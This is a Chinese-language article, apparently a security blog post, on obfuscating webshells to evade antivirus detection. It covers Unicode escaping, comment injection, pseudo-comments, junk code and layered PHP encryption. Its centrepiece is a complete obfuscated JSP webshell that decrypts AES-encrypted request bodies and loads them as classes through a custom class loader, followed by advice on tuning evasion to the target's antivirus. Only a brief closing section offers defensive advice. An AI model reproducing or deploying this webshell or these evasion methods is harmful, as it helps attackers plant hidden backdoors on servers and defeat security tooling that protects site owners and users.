Webshell混淆免杀的一些思路
字数 1259 2025-08-10 08:28:13
Webshell混淆免杀技术详解
1. 静态免杀概述
静态免杀是指通过对恶意软件进行混淆、加密或其他技术手段,使其在静态分析阶段难以被杀毒软件或安全防护产品检测出来的方法。目的是规避杀毒软件的检测机制,使恶意代码能够在目标系统上长时间存活和执行。
核心原则:使webshell代码与原始特征代码不一致
2. 字符混淆技术
2.1 Unicode编码替换
- Java支持Unicode编码,可将关键字符替换为Unicode表示
- 示例:将
eval替换为\u0065\u0076\u0061\u006c - 效果:部分杀软无法识别Unicode编码后的特征
2.2 字符串分割
- 将敏感字符串分割为多个部分再拼接
- 示例:
"password"→"pass"+"word"
3. 注释干扰技术
3.1 注释插入
- 在关键函数/方法名中插入注释
- 示例:
eval()→eval/*xxx*/() - 原理:破坏杀软的特征匹配规则
3.2 伪注释构造
- 使用字符串构造看似注释的结构
- 示例:
String s1 = "/*";
code...;
String s2 = "*/";
- 杀软可能误判为注释内容而忽略中间代码
4. 代码特征变形技术
4.1 等价代码替换
- 使用功能相同但写法不同的代码
- 示例:
if-else→ 三元运算符while→for循环1→0x1或10000-9999
4.2 函数封装
- 将敏感代码封装到自定义函数中
- 示例:将
eval调用隐藏在多层函数调用中
4.3 垃圾代码注入
- 添加不影响功能的无意义代码
- 示例:
int x = 10;
int y = 20;
x = (x + y) * 2; // 无实际作用的计算
String meaningless = "This does nothing";
5. 混合混淆示例(Java JSP Webshell)
<%@ page import="java.io.InputStream" %>
<%@ page import="javax.crypto.spec.SecretKeySpec" %>
<%@ page import="javax.crypto.Cipher" %>
<%!
// Unicode编码密钥
String xc = "\u0033\u0063\u0036\u0065\u0030"/*\u3333*/ +/*\u3333*/"\u0062\u0038\u0061\u0039\u0063\u0031\u0035\u0032\u0032\u0034\u0061";
// 自定义类加载器
class Register extends ClassLoader {
public Register(ClassLoader username) { super(username); }
public Class Query/*\u3333*/(byte[] password) {
String s1 = "/*";
Class<?> aClass = super.defineClass(password, 0XAFFFF - 0XAFFFF, password.length);
String s2 = "*/";
return aClass;
}
}
// AES加密/解密函数
public byte[] x(byte[] s, boolean m) {
byte[] bs = xc.getBytes();
try {
String decode = "\u0041\u0045\u0053"; // "AES"
Cipher c = Cipher.getInstance(decode);
// if代替三元表达式
int flag = 0xAFFFF;
if (m) { flag = 1; } else { flag = 2; }
c.init(flag, new SecretKeySpec(bs, decode));
return c.doFinal(s);
} catch (Exception e) { return null; }
}
// 关键功能函数
public void run2(byte[] data_bytes, HttpSession session) {
String py = "\u0070\u0061\u0079" +/*as*u006c\u006f\u0061\u0064"; // "payload"
Register REG = new Register(this.getClass().getClassLoader());
Class cs = REG.Query(data_bytes);
session.setAttribute(py, cs);
}
%>
<%
try {
// 获取请求内容
String header = request.getHeader/*o.equls(null)*/("\u0043\u006f\u006e\u0074\u0065\u006e\u0074\u002d\u004c\u0065\u006e\u0067\u0074\u0068");
int length = Integer.valueOf/*o.equls(null)*/(header);
byte[] data_bytes = new byte[/*o.equls(null)*/length];
InputStream is = request.getInputStream();
// for循环替代while
for (int _num = 0; _num < data_bytes./*o.equls(null)*/length; _num += is.read(data_bytes, _num, data_bytes.length));
data_bytes = x/*o.equls(null)*/(/*o.equls(null)*/data_bytes, /*o.equls(null)*/!true);
OutputStream os = response.getOutputStream();
// 执行逻辑
String py = "\u0070\u0061\u0079" +/*as*/"" +/*sa*/"\u006c\u006f\u0061\u0064";
if (session.getAttribute(py) == null) {
run2(data_bytes, session);
} else {
// 更多混淆代码...
}
} catch (Exception e) { }
%>
6. PHP代码加密技术
6.1 多重复合加密
- 使用多种加密工具对同一webshell进行多次加密
- 示例流程:
- 原始PHP webshell
- 第一次加密(如ionCube)
- 第二次加密(如Zend Guard)
- 第三次混淆(如在线混淆工具)
6.2 加密效果
- 经过多层加密后,原始代码特征完全隐藏
- 即使部分杀软能识别单层加密,多层加密可提高绕过率
7. 综合免杀策略
- 多技术混合使用:字符混淆+注释干扰+代码变形
- 语言特性利用:根据不同语言特性选择最佳混淆方式
- Java:利用Unicode、反射、自定义类加载器
- PHP:利用动态特性、多次加密
- 特征分散:将敏感特征分散到多个位置
- 环境适配:根据目标环境调整混淆强度
- 仅需绕过目标服务器上的杀软
- 不必过度混淆增加代码体积
8. 防御建议
-
静态检测增强:
- 实现多维度特征检测
- 支持Unicode解码分析
- 识别伪注释结构
-
动态行为监控:
- 监控异常类加载行为
- 检测反射、加密等敏感操作
-
代码审计:
- 关注代码中的冗余和异常结构
- 检查非常规字符串拼接方式
-
权限控制:
- 限制上传文件类型
- 实施最小权限原则
9. 总结
Webshell免杀技术的核心在于破坏杀软的特征匹配能力,通过多种技术组合使恶意代码保持功能同时隐藏其原始特征。防御方需要采取多层次防护策略,结合静态特征检测和动态行为分析,才能有效应对不断演变的混淆技术。